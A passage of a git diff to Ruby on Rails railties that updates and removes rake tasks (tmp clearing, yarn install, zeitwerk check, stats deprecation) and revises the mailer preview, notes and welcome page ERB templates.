-  desc "Update configs and some other initially generated files (or use just update:configs or update:bin)"
-  task update: [ "update:configs", "update:bin", "update:upgrade_guide_info" ]
+# frozen_string_literal: true
 
-  desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
+namespace :app do
+  desc "Apply the template supplied by LOCATION=(/path/to/template) or URL"
   task template: :environment do
     template = ENV["LOCATION"]
     raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank?
-    template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
     require "rails/generators"
     require "rails/generators/rails/app/app_generator"
-    generator = Rails::Generators::AppGenerator.new [Rails.root], {}, destination_root: Rails.root
-    generator.apply template, verbose: false
+    Rails::Generators::AppGenerator.apply_rails_template(template, Rails.root)
   end
 
   namespace :templates do
     # desc "Copy all the templates from rails to the application directory for customization. Already existing local copies will be overwritten"
     task :copy do
-      generators_lib = File.expand_path("../../generators", __FILE__)
+      generators_lib = File.expand_path("../generators", __dir__)
       project_templates = "#{Rails.root}/lib/templates"
 
       default_templates = { "erb"   => %w{controller mailer scaffold},
-                            "rails" => %w{controller helper scaffold_controller assets} }
+                            "rails" => %w{controller helper scaffold_controller} }
 
       default_templates.each do |type, names|
         local_template_type_dir = File.join(project_templates, type)
@@ -34,40 +31,4 @@ namespace :app do
       end
     end
   end
-
-  namespace :update do
-    class RailsUpdate
-      def self.invoke_from_app_generator(method)
-        app_generator.send(method)
-      end
-
-      def self.app_generator
-        @app_generator ||= begin
-          require "rails/generators"
-          require "rails/generators/rails/app/app_generator"
-          gen = Rails::Generators::AppGenerator.new ["rails"],
-                                                    { api: !!Rails.application.config.api_only, update: true },
-                                                    destination_root: Rails.root
-          File.exist?(Rails.root.join("config", "application.rb")) ?
-            gen.send(:app_const) : gen.send(:valid_const?)
-          gen
-        end
-      end
-    end
-
-    # desc "Update config/boot.rb from your current rails install"
-    task :configs do
-      RailsUpdate.invoke_from_app_generator :create_boot_file
-      RailsUpdate.invoke_from_app_generator :update_config_files
-    end
-
-    # desc "Adds new executables to the application bin/ directory"
-    task :bin do
-      RailsUpdate.invoke_from_app_generator :create_bin_files
-    end
-
-    task :upgrade_guide_info do
-      RailsUpdate.invoke_from_app_generator :display_upgrade_guide_info
-    end
-  end
 end
diff --git a/railties/lib/rails/tasks/initializers.rake b/railties/lib/rails/tasks/initializers.rake
deleted file mode 100644
index 6522f2ae5a92f..0000000000000
--- a/railties/lib/rails/tasks/initializers.rake
+++ /dev/null
@@ -1,6 +0,0 @@
-desc "Print out all defined initializers in the order they are invoked by Rails."
-task initializers: :environment do
-  Rails.application.initializers.tsort_each do |initializer|
-    puts "#{initializer.context_class}.#{initializer.name}"
-  end
-end
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
index ba796845d7eb6..fb98c40a048bf 100644
--- a/railties/lib/rails/tasks/log.rake
+++ b/railties/lib/rails/tasks/log.rake
@@ -1,12 +1,13 @@
-namespace :log do
+# frozen_string_literal: true
 
+namespace :log do
   ##
   # Truncates all/specified log files
   # ENV['LOGS']
   #   - defaults to all environments log files i.e. 'development,test,production'
   #   - ENV['LOGS']=all truncates all files i.e. log/*.log
   #   - ENV['LOGS']='test,development' truncates only specified files
-  desc "Truncates all/specified *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)"
+  desc "Truncate all/specified *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)"
   task :clear do
     log_files.each do |file|
       clear_log_file(file)
diff --git a/railties/lib/rails/tasks/middleware.rake b/railties/lib/rails/tasks/middleware.rake
deleted file mode 100644
index fd98be1ea9ae9..0000000000000
--- a/railties/lib/rails/tasks/middleware.rake
+++ /dev/null
@@ -1,7 +0,0 @@
-desc "Prints out your Rack middleware stack"
-task middleware: :environment do
-  Rails.configuration.middleware.each do |middleware|
-    puts "use #{middleware.inspect}"
-  end
-  puts "run #{Rails.application.class.name}.routes"
-end
diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake
index 29ea0ff8041d0..8a4a221207e68 100644
--- a/railties/lib/rails/tasks/misc.rake
+++ b/railties/lib/rails/tasks/misc.rake
@@ -1,16 +1,7 @@
-desc "Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions)."
-task :secret do
-  require "securerandom"
-  puts SecureRandom.hex(64)
-end
-
-desc "List versions of all Rails frameworks and the environment"
-task about: :environment do
-  puts Rails::Info
-end
+# frozen_string_literal: true
 
 namespace :time do
-  desc "List all time zones, list by two-letter country code (`rails time:zones[US]`), or list by UTC offset (`rails time:zones[-8]`)"
+  desc "List all time zones, list by two-letter country code (`bin/rails time:zones[US]`), or list by UTC offset (`bin/rails time:zones[-8]`)"
   task :zones, :country_or_offset do |t, args|
     zones, offset = ActiveSupport::TimeZone.all, nil
 
@@ -26,17 +17,17 @@ namespace :time do
   end
 
   namespace :zones do
-    # desc 'Displays all time zones, also available: time:zones:us, time:zones:local -- filter with OFFSET parameter, e.g., OFFSET=-6'
+    # desc 'Display all time zones, also available: time:zones:us, time:zones:local -- filter with OFFSET parameter, e.g., OFFSET=-6'
     task :all do
       build_time_zone_list ActiveSupport::TimeZone.all
     end
 
-    # desc 'Displays names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
+    # desc 'Display names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
     task :us do
       build_time_zone_list ActiveSupport::TimeZone.us_zones
     end
 
-    # desc 'Displays names of time zones recognized by the Rails TimeZone class with the same offset as the system local time'
+    # desc 'Display names of time zones recognized by the Rails TimeZone class with the same offset as the system local time'
     task :local do
       require "active_support"
       require "active_support/time"
diff --git a/railties/lib/rails/tasks/restart.rake b/railties/lib/rails/tasks/restart.rake
deleted file mode 100644
index 03177d9954276..0000000000000
--- a/railties/lib/rails/tasks/restart.rake
+++ /dev/null
@@ -1,8 +0,0 @@
-desc "Restart app by touching tmp/restart.txt"
-task :restart do
-  verbose(false) do
-    mkdir_p "tmp"
-    touch "tmp/restart.txt"
-    rm_f "tmp/pids/server.pid"
-  end
-end
diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake
deleted file mode 100644
index 215fb2ceb5ba5..0000000000000
--- a/railties/lib/rails/tasks/routes.rake
+++ /dev/null
@@ -1,29 +0,0 @@
-require "optparse"
-
-desc "Print out all defined routes in match order, with names. Target specific controller with -c option, or grep routes using -g option"
-task routes: :environment do
-  all_routes = Rails.application.routes.routes
-  require "action_dispatch/routing/inspector"
-  inspector = ActionDispatch::Routing::RoutesInspector.new(all_routes)
-
-  routes_filter = nil
-
-  OptionParser.new do |opts|
-    opts.banner = "Usage: rails routes [options]"
-
-    Rake.application.standard_rake_options.each { |args| opts.on(*args) }
-
-    opts.on("-c CONTROLLER") do |controller|
-      routes_filter = { controller: controller }
-    end
-
-    opts.on("-g PATTERN") do |pattern|
-      routes_filter = pattern
-    end
-
-  end.parse!(ARGV.reject { |x| x == "routes" })
-
-  puts inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, routes_filter)
-
-  exit 0 # ensure extra arguments aren't interpreted as Rake tasks
-end
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
index ba1697186e155..228c64dea3f55 100644
--- a/railties/lib/rails/tasks/statistics.rake
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -1,28 +1,5 @@
-# While global constants are bad, many 3rd party tools depend on this one (e.g
-# rspec-rails & cucumber-rails). So a deprecation warning is needed if we want
-# to remove it.
-STATS_DIRECTORIES = [
-  %w(Controllers        app/controllers),
-  %w(Helpers            app/helpers),
-  %w(Jobs               app/jobs),
-  %w(Models             app/models),
-  %w(Mailers            app/mailers),
-  %w(Channels           app/channels),
-  %w(JavaScripts        app/assets/javascripts),
-  %w(Libraries          lib/),
-  %w(APIs               app/apis),
-  %w(Controller\ tests  test/controllers),
-  %w(Helper\ tests      test/helpers),
-  %w(Model\ tests       test/models),
-  %w(Mailer\ tests      test/mailers),
-  %w(Job\ tests         test/jobs),
-  %w(Integration\ tests test/integration),
-].collect do |name, dir|
-  [ name, "#{File.dirname(Rake.application.rakefile_location)}/#{dir}" ]
-end.select { |name, dir| File.directory?(dir) }
+# frozen_string_literal: true
 
-desc "Report code statistics (KLOCs, etc) from the application or engine"
-task :stats do
-  require "rails/code_statistics"
-  CodeStatistics.new(*STATS_DIRECTORIES).to_s
-end
+Rails.deprecator.warn <<~TEXT
+  rails/tasks/statistics.rake is deprecated and will be removed in Rails 8.2 without replacement.
+TEXT
diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake
index d42a890cb6192..da8b9fec9f8a7 100644
--- a/railties/lib/rails/tasks/tmp.rake
+++ b/railties/lib/rails/tasks/tmp.rake
@@ -1,35 +1,51 @@
+# frozen_string_literal: true
+
 namespace :tmp do
-  desc "Clear cache and socket files from tmp/ (narrow w/ tmp:cache:clear, tmp:sockets:clear)"
-  task clear: ["tmp:cache:clear", "tmp:sockets:clear"]
+  desc "Clear cache, socket and screenshot files from tmp/ (narrow w/ tmp:cache:clear, tmp:sockets:clear, tmp:screenshots:clear)"
+  task clear: ["tmp:cache:clear", "tmp:sockets:clear", "tmp:screenshots:clear", "tmp:storage:clear"]
 
   tmp_dirs = [ "tmp/cache",
                "tmp/sockets",
                "tmp/pids",
-               "tmp/cache/assets" ]
+             ]
 
   tmp_dirs.each { |d| directory d }
 
-  desc "Creates tmp directories for cache, sockets, and pids"
+  desc "Create tmp directories for cache, sockets, and pids"
   task create: tmp_dirs
 
   namespace :cache do
-    # desc "Clears all files and directories in tmp/cache"
+    # desc "Clear all files and directories in tmp/cache"
     task :clear do
       rm_rf Dir["tmp/cache/[^.]*"], verbose: false
     end
   end
 
   namespace :sockets do
-    # desc "Clears all files in tmp/sockets"
+    # desc "Clear all files in tmp/sockets"
     task :clear do
       rm Dir["tmp/sockets/[^.]*"], verbose: false
     end
   end
 
   namespace :pids do
-    # desc "Clears all files in tmp/pids"
+    # desc "Clear all files in tmp/pids"
     task :clear do
       rm Dir["tmp/pids/[^.]*"], verbose: false
     end
   end
+
+  namespace :screenshots do
+    # desc "Clear all files in tmp/screenshots"
+    task :clear do
+      rm Dir["tmp/screenshots/[^.]*"], verbose: false
+    end
+  end
+
+  namespace :storage do
+    # desc "Clear all files and directories in tmp/storage"
+    task :clear do
+      rm_rf Dir["tmp/storage/[^.]*"], verbose: false
+    end
+  end
 end
diff --git a/railties/lib/rails/tasks/yarn.rake b/railties/lib/rails/tasks/yarn.rake
index 87476b1b8cab0..6096bd92099f4 100644
--- a/railties/lib/rails/tasks/yarn.rake
+++ b/railties/lib/rails/tasks/yarn.rake
@@ -1,11 +1,29 @@
+# frozen_string_literal: true
+
 namespace :yarn do
   desc "Install all JavaScript dependencies as specified via Yarn"
   task :install do
-    system("./bin/yarn install --no-progress")
-  end
-end
+    # Install only production deps when for not usual envs.
+    valid_node_envs = %w[test development production]
+    node_env = ENV.fetch("NODE_ENV") do
+      valid_node_envs.include?(Rails.env) ? Rails.env : "production"
+    end
 
-# Run Yarn prior to Sprockets assets precompilation, so dependencies are available for use.
-if Rake::Task.task_defined?("assets:precompile")
-  Rake::Task["assets:precompile"].enhance [ "yarn:install" ]
+    yarn_flags =
+      if `yarn --version`.start_with?("1")
+        "--no-progress --frozen-lockfile"
+      else
+        "--immutable"
+      end
+
+    system(
+      { "NODE_ENV" => node_env },
+      "yarn install #{yarn_flags}",
+      exception: true
+    )
+  rescue Errno::ENOENT
+    $stderr.puts "yarn install failed to execute."
+    $stderr.puts "Ensure yarn is installed and `yarn --version` runs without errors."
+    exit 1
+  end
 end
diff --git a/railties/lib/rails/tasks/zeitwerk.rake b/railties/lib/rails/tasks/zeitwerk.rake
new file mode 100644
index 0000000000000..9b392217ebd68
--- /dev/null
+++ b/railties/lib/rails/tasks/zeitwerk.rake
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "rails/zeitwerk_checker"
+
+report_unchecked = ->(unchecked) do
+  puts
+  puts <<~EOS
+    WARNING: The following directories will only be checked if you configure
+    them to be eager loaded:
+  EOS
+  puts
+
+  unchecked.each { |dir| puts "  #{dir}" }
+  puts
+
+  puts <<~EOS
+    You may verify them manually, or add them to config.eager_load_paths
+    in config/application.rb and run zeitwerk:check again.
+  EOS
+  puts
+end
+
+namespace :zeitwerk do
+  desc "Check project structure for Zeitwerk compatibility"
+  task check: :environment do
+    puts "Hold on, I am eager loading the application."
+
+    begin
+      unchecked = Rails::ZeitwerkChecker.check
+    rescue Zeitwerk::NameError => e
+      abort e.message.sub(/#{Regexp.escape(Rails.root.to_s)}./, "")
+    end
+
+    if unchecked.empty?
+      puts "All is good!"
+    else
+      report_unchecked[unchecked]
+      puts "Otherwise, all is good!"
+    end
+  end
+end
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
index 5aecaa712a8ae..cf02ed8309d2b 100644
--- a/railties/lib/rails/templates/layouts/application.html.erb
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -1,5 +1,5 @@
 <!DOCTYPE html>
-<html lang="en">
+<html>
 <head>
   <meta charset="utf-8" />
   <title><%= @page_title %></title>
@@ -25,6 +25,21 @@
 
     h2 { padding-left: 10px; }
 
+    @media (prefers-color-scheme: dark) {
+      body {
+        background-color: #222;
+        color: #ececec;
+      }
+
+      pre {
+        background-color: #333;
+      }
+
+      a { color: #fff; }
+      a:visited { color: #999; }
+      a:hover { color: #000; background-color: #fff; }
+    }
+
     <%= yield :style %>
   </style>
 </head>
diff --git a/railties/lib/rails/templates/rails/info/notes.html.erb b/railties/lib/rails/templates/rails/info/notes.html.erb
new file mode 100644
index 0000000000000..d4c191d253477
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/notes.html.erb
@@ -0,0 +1,88 @@
+<style>
+  h2, p {
+    padding-left: 30px;
+  }
+  table {
+    margin: 0;
+    border-collapse: collapse;
+    word-wrap:break-word;
+    table-layout: fixed;
+    width:100%;
+  }
+  table thead tr {
+    border-bottom: 2px solid #ddd;
+  }
+  table th {
+    padding-left: 30px;
+    text-align: left;
+  }
+  table thead th.tag, table thead th.line-no {
+    width: 10%;
+  }
+  table tbody tr {
+    border-bottom: 1px solid #ddd;
+  }
+  table tbody tr:nth-child(odd) {
+    background: #f2f2f2;
+  }
+  table td {
+    padding: 4px 30px;
+  }
+  @media (prefers-color-scheme: dark) {
+    table tbody tr:nth-child(odd) {
+      background: #282828;
+    }
+  }
+
+  .filter {
+    display: flex;
+    width: 100%;
+    justify-content: flex-end;
+    align-items: center;
+  }
+
+  .filter label[for="tag"] {
+    margin-right: 10px;
+  }
+
+  .filter select[name="tag"] {
+    border-radius: 8px;
+    padding: 0.25em;
+  }
+</style>
+
+<h2>
+  Notes
+</h2>
+
+<div class="filter">
+  <%= form_tag("/rails/info/notes", method: :get) do %>
+    <%= label_tag :tag, "Filter by Tag:" %>
+    <%= select_tag(:tag, options_for_select(Rails::SourceAnnotationExtractor::Annotation.tags, params[:tag]), { include_blank: "All", onchange: "this.form.submit();" }) %>
+  <% end %>
+</div>
+
+<table id="route_table" class="table">
+  <thead>
+    <th>File Name</th>
+    <th class="line-no">Line No.</th>
+    <th class="tag">Tag</th>
+    <th>Description</th>
+  </thead>
+  <tbody>
+    <% @annotations.each do |file, annotations| %>
+      <% annotations.each.with_index do |annotation, index| %>
+        <tr>
+          <% if index == 0 %>
+            <th rowspan="<%= annotations.size %>">
+              <%= file %>
+            </th>
+          <% end %>
+          <td class="line-no"><%= annotation.line %></td>
+          <td class="tag"><%= annotation.tag %></td>
+          <td><%= annotation.text %></td>
+        </tr>
+      <% end %>
+    <% end %>
+  </tbody>
+</table>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
index c63781ed0c426..9177e52164de2 100644
--- a/railties/lib/rails/templates/rails/mailers/email.html.erb
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -1,5 +1,6 @@
 <!DOCTYPE html>
 <html><head>
+<title><%= @page_title %></title>
 <meta name="viewport" content="width=device-width" />
 <style type="text/css">
   html, body, iframe {
@@ -8,6 +9,8 @@
 
   body {
     margin: 0;
+    display: flex;
+    flex-direction: column;
   }
 
   header {
@@ -17,7 +20,6 @@
     background: white;
     font: 12px "Lucida Grande", sans-serif;
     border-bottom: 1px solid #dedede;
-    overflow: hidden;
   }
 
   dl {
@@ -43,6 +45,13 @@
     content: "\00a0"; // &nbsp;
   }
 
+  th {
+    font-weight: inherit;
+    color: #7f7f7f;
+    text-align: right;
+    white-space: nowrap;
+  }
+
   iframe {
     border: 0;
     width: 100%;
@@ -53,61 +62,106 @@
 <body>
 <header>
   <dl>
-    <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+    <% if Array(@email.from) != Array(@email.smtp_envelope_from) %>
       <dt>SMTP-From:</dt>
-      <dd><%= @email.smtp_envelope_from %></dd>
+      <dd id="smtp_from"><%= @email.smtp_envelope_from %></dd>
     <% end %>
 
-    <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+    <% if Set[*@email.to, *@email.cc, *@email.bcc] != Set[*@email.smtp_envelope_to] %>
       <dt>SMTP-To:</dt>
-      <dd><%= @email.smtp_envelope_to %></dd>
+      <dd id="smtp_to"><%= @email.smtp_envelope_to.join(", ") %></dd>
     <% end %>
 
     <dt>From:</dt>
-    <dd><%= @email.header['from'] %></dd>
+    <dd id="from"><%= @email.header['from'] %></dd>
 
     <% if @email.reply_to %>
       <dt>Reply-To:</dt>
-      <dd><%= @email.header['reply-to'] %></dd>
+      <dd id="reply_to"><%= @email.header['reply-to'] %></dd>
     <% end %>
 
     <dt>To:</dt>
-    <dd><%= @email.header['to'] %></dd>
+    <dd id="to"><%= @email.header['to'] %></dd>
 
     <% if @email.cc %>
       <dt>CC:</dt>
-      <dd><%= @email.header['cc'] %></dd>
+      <dd id="cc"><%= @email.header['cc'] %></dd>
+    <% end %>
+
+    <% if @email.bcc %>
+      <dt>BCC:</dt>
+      <dd id="bcc"><%= @email.header['bcc'] %></dd>
     <% end %>
 
     <dt>Date:</dt>
-    <dd><%= Time.current.rfc2822 %></dd>
+    <dd id="date"><%= @email.header['date'] || Time.current.rfc2822 %></dd>
 
     <dt>Subject:</dt>
-    <dd><strong><%= @email.subject %></strong></dd>
+    <dd><strong id="subject"><%= @email.subject %></strong></dd>
 
-    <% unless @email.attachments.nil? || @email.attachments.empty? %>
+    <% if @attachments.any? || @inline_attachments.any? %>
       <dt>Attachments:</dt>
       <dd>
-        <% @email.attachments.each do |a| %>
-          <% filename = a.respond_to?(:original_filename) ? a.original_filename : a.filename %>
-          <%= link_to filename, "data:application/octet-stream;charset=utf-8;base64,#{Base64.encode64(a.body.to_s)}", download: filename %>
+        <% @attachments.each do |filename, attachment| %>
+          <%= link_to filename, attachment_url(attachment), download: filename %>
+        <% end %>
+
+        <% if @inline_attachments.any? %>
+          (Inline: <% @inline_attachments.each do |filename, attachment| %>
+            <%= link_to filename, attachment_url(attachment), download: filename %><% end %>)
         <% end %>
       </dd>
     <% end %>
 
-    <% if @email.multipart? %>
+    <dt>Format:</dt>
+    <% if @email.html_part && @email.text_part %>
       <dd>
-        <select onchange="formatChanged(this);">
-          <option <%= request.format == Mime[:html] ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option>
-          <option <%= request.format == Mime[:text] ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option>
+        <select id="part" onchange="refreshBody(false);">
+          <option <%= request.format == Mime[:html] ? 'selected' : '' %> value="<%= part_query('text/html') %>">View as HTML email</option>
+          <option <%= request.format == Mime[:text] ? 'selected' : '' %> value="<%= part_query('text/plain') %>">View as plain-text email</option>
         </select>
       </dd>
+    <% elsif @part %>
+      <dd id="mime_type" data-mime-type="<%= part_query(@part.mime_type) %>"><%= @part.mime_type == 'text/html' ? 'HTML email' : 'plain-text email' %></dd>
+    <% else %>
+      <dd id="mime_type" data-mime-type=""></dd>
     <% end %>
+
+    <% if I18n.available_locales.count > 1 %>
+      <dt>Locale:</dt>
+      <dd>
+        <select id="locale" onchange="refreshBody(true);">
+          <% I18n.available_locales.each do |locale| %>
+            <option <%= I18n.locale == locale ? 'selected' : '' %> value="<%= locale_query(locale) %>"><%= locale %></option>
+          <% end %>
+        </select>
+      </dd>
+    <% end %>
+
+    <% unless @email.header_fields.nil? || @email.header_fields.empty? %>
+      <dt>Headers:</dt>
+      <dd>
+        <details>
+          <summary>Show all headers</summary>
+          <table>
+          <% @email.header_fields.each do |field| %>
+            <tr>
+              <th><%= field.name %>:</th>
+              <td><%= field.value %></td>
+            </tr>
+          <% end %>
+          </table>
+        </details>
+      </dd>
+    <% end %>
+
+    <dt>EML File:</dt>
+    <dd><%= link_to "Download", action: :download, locale: params[:locale] %></dd>
   </dl>
 </header>
 
 <% if @part && @part.mime_type %>
-  <iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe>
+  <iframe name="messageBody" src="?<%= part_query(@part.mime_type) %>"></iframe>
 <% else %>
   <p>
     You are trying to preview an email that does not have any content.
@@ -116,15 +170,30 @@
 <% end %>
 
 <script>
-  function formatChanged(form) {
-    var part_name = form.options[form.selectedIndex].value
-    var iframe =document.getElementsByName('messageBody')[0];
-    iframe.contentWindow.location.replace(part_name);
-
-    if (history.replaceState) {
-      var url    = location.pathname.replace(/\.(txt|html)$/, '');
-      var format = /html/.test(part_name) ? '.html' : '.txt';
-      window.history.replaceState({}, '', url + format);
+  function refreshBody(reload) {
+    var part_select = document.querySelector('select#part');
+    var locale_select = document.querySelector('select#locale');
+    var iframe = document.getElementsByName('messageBody')[0];
+    var part_param = part_select ?
+      part_select.options[part_select.selectedIndex].value :
+      document.querySelector('#mime_type').dataset.mimeType;
+    var locale_param = locale_select ? locale_select.options[locale_select.selectedIndex].value : null;
+    var fresh_location;
+    if (locale_param) {
+      fresh_location = '?' + part_param + '&' + locale_param;
+    } else {
+      fresh_location = '?' + part_param;
+    }
+    iframe.contentWindow.location = fresh_location;
+
+    var url = location.pathname.replace(/\.(txt|html)$/, '');
+    var format = /html/.test(part_param) ? '.html' : '.txt';
+    var state_to_replace = locale_param ? (url + format + '?' + locale_param) : (url + format);
+
+    if (reload) {
+      location.href = state_to_replace;
+    } else if (history.replaceState) {
+      window.history.replaceState({}, '', state_to_replace);
     }
   }
 </script>
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
index 000930c039001..0df1ec161df28 100644
--- a/railties/lib/rails/templates/rails/mailers/index.html.erb
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -1,8 +1,15 @@
-<% @previews.each do |preview| %>
-<h3><%= link_to preview.preview_name.titleize, url_for(controller: "rails/mailers", action: "preview", path: preview.preview_name) %></h3>
-<ul>
-<% preview.emails.each do |email| %>
-<li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{preview.preview_name}/#{email}") %></li>
-<% end %>
-</ul>
+<h1><%= @page_title %></h1>
+
+<% if @previews.any? %>
+  <% @previews.each do |preview| %>
+  <h3><%= link_to preview.preview_name.titleize, url_for(controller: "rails/mailers", action: "preview", path: preview.preview_name) %></h3>
+  <ul>
+  <% preview.emails.each do |email| %>
+  <li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{preview.preview_name}/#{email}") %></li>
+  <% end %>
+  </ul>
+  <% end %>
+<% else %>
+  <p>You have not defined any Action Mailer Previews.</p>
+  <p>Read <%= link_to "Action Mailer Basics", "https://guides.rubyonrails.org/action_mailer_basics.html#previewing-emails" %> to learn how to define your first.</p>
 <% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
index c12ead0f90b92..b726b136ba763 100644
--- a/railties/lib/rails/templates/rails/mailers/mailer.html.erb
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -1,6 +1,12 @@
-<h3><%= @preview.preview_name.titleize %></h3>
-<ul>
-<% @preview.emails.each do |email| %>
-<li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{@preview.preview_name}/#{email}") %></li>
+<h1><%= @page_title %></h1>
+
+<% if @preview.emails.any? %>
+  <ul>
+  <% @preview.emails.each do |email| %>
+  <li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{@preview.preview_name}/#{email}") %></li>
+  <% end %>
+  </ul>
+<% else %>
+  <p>You have not defined any actions for <%= @preview %>.</p>
+  <p>Read <%= link_to "Action Mailer Basics", "https://guides.rubyonrails.org/action_mailer_basics.html#previewing-emails" %> to learn how to define your first.</p>
 <% end %>
-</ul>
diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb
index 5cdb7e6a2029e..2407968cabe99 100644
--- a/railties/lib/rails/templates/rails/welcome/index.html.erb
+++ b/railties/lib/rails/templates/rails/welcome/index.html.erb
@@ -1,64 +1,109 @@
 <!DOCTYPE html>
-<html>
+<html lang="en">
 <head>
-  <title>Ruby on Rails</title>
+  <title>Ruby on Rails <%= Rails.version %></title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width">
-  <style type="text/css" media="screen" charset="utf-8">
-    body {
-      font-family: Georgia, sans-serif;
-      line-height: 2rem;
-      font-size: 1.3rem;
-      background-color: white;
+
+  <link rel="icon" href="/icon.png" type="image/png">
+  <link rel="apple-touch-icon" href="/icon.png" sizes="512x512">
+
+  <style type="text/css">
+    * {
+      box-sizing: border-box;
       margin: 0;
       padding: 0;
-      color: #000;
     }
 
-    h1 {
-      font-weight: normal;
-      line-height: 2.8rem;
-      font-size: 2.5rem;
-      letter-spacing: -1px;
-      color: black;
+    body {
+      align-items: center;
+      background-color: #F0E7E9;
+      background-image: url(data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjEwMjQiIHZpZXdCb3g9IjAgMCAxNDQwIDEwMjQiIHdpZHRoPSIxNDQwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Im0xNDQwIDUxMC4wMDA2NDh2LTUxMC4wMDA2NDhoLTE0NDB2Mzg0LjAwMDY0OGM0MTcuMzExOTM5IDEzMS4xNDIxNzkgODkxIDE3MS41MTMgMTQ0MCAxMjZ6IiBmaWxsPSIjZmZmIi8+PC9zdmc+);
+      background-position: center center;
+      background-repeat: no-repeat;
+      background-size: cover;
+      color: #261B23;
+      display: flex;
+      flex-direction: column;
+      font-family: Sans-Serif;
+      font-size: calc(0.9em + 0.5vw);
+      font-style: normal;
+      font-weight: 400;
+      justify-content: center;
+      line-height: 1.25;
+      min-height: 100vh;
+      text-align: center;
     }
 
-    p { font-family: monospace; }
+    @media (prefers-color-scheme: dark) {
+      body {
+        background-color: #1a1a1a;
+        background-image: url(data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjEwMjQiIHZpZXdCb3g9IjAgMCAxNDQwIDEwMjQiIHdpZHRoPSIxNDQwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Im0xNDQwIDUxMC4wMDA2NDh2LTUxMC4wMDA2NDhoLTE0NDB2Mzg0LjAwMDY0OGM0MTcuMzExOTM5IDEzMS4xNDIxNzkgODkxIDE3MS41MTMgMTQ0MCAxMjZ6IiBmaWxsPSIjMzMzIi8+PC9zdmc+);
+        color: #e0e0e0;
+      }
+    }
 
-    .container {
-      width: 960px;
-      margin: 0 auto 40px;
-      overflow: hidden;
+    nav {
+      font-size: 0;
+      height: 20vw;
+      line-height: 0;
+      max-height: 280px;
+      max-width: 280px;
+      min-height: 86px;
+      min-width: 86px;
+      width: 20vw;
     }
 
+    nav a {
+      background: #D30001;
+      border-radius: 50%;
+      display: flex;
+      transition: background 0.25s cubic-bezier(0.33, 1, 0.68, 1);
+      filter: drop-shadow(0 20px 13px rgb(0 0 0 / 0.03)) drop-shadow(0 8px 5px rgb(0 0 0 / 0.08));
+    }
 
-    section {
-      margin: 0 auto 2rem;
-      padding: 1rem 0 0;
-      width: 700px;
-      text-align: center;
+    nav a:hover {
+      background: #261B23;
+    }
+
+    @media (prefers-color-scheme: dark) {
+      nav a {
+        background: #D30001;
+        filter: drop-shadow(0 20px 13px rgb(255 255 255 / 0.03)) drop-shadow(0 8px 5px rgb(255 255 255 / 0.08));
+      }
+    }
+
+    nav a img {
+      height: auto;
+      max-width: 100%;
+      width: 100%;
+      cursor: pointer;
+      border-radius: 50%;
+    }
+
+    ul {
+      bottom: 0;
+      left: 0;
+      list-style: none;
+      margin: 0 2rem 2rem 2rem;
+      position: absolute;
+      right: 0;
     }
   </style>
 </head>
 
 <body>
-  <div class="container">
-    <section>
-      <p>
-        <a href="http://rubyonrails.org">
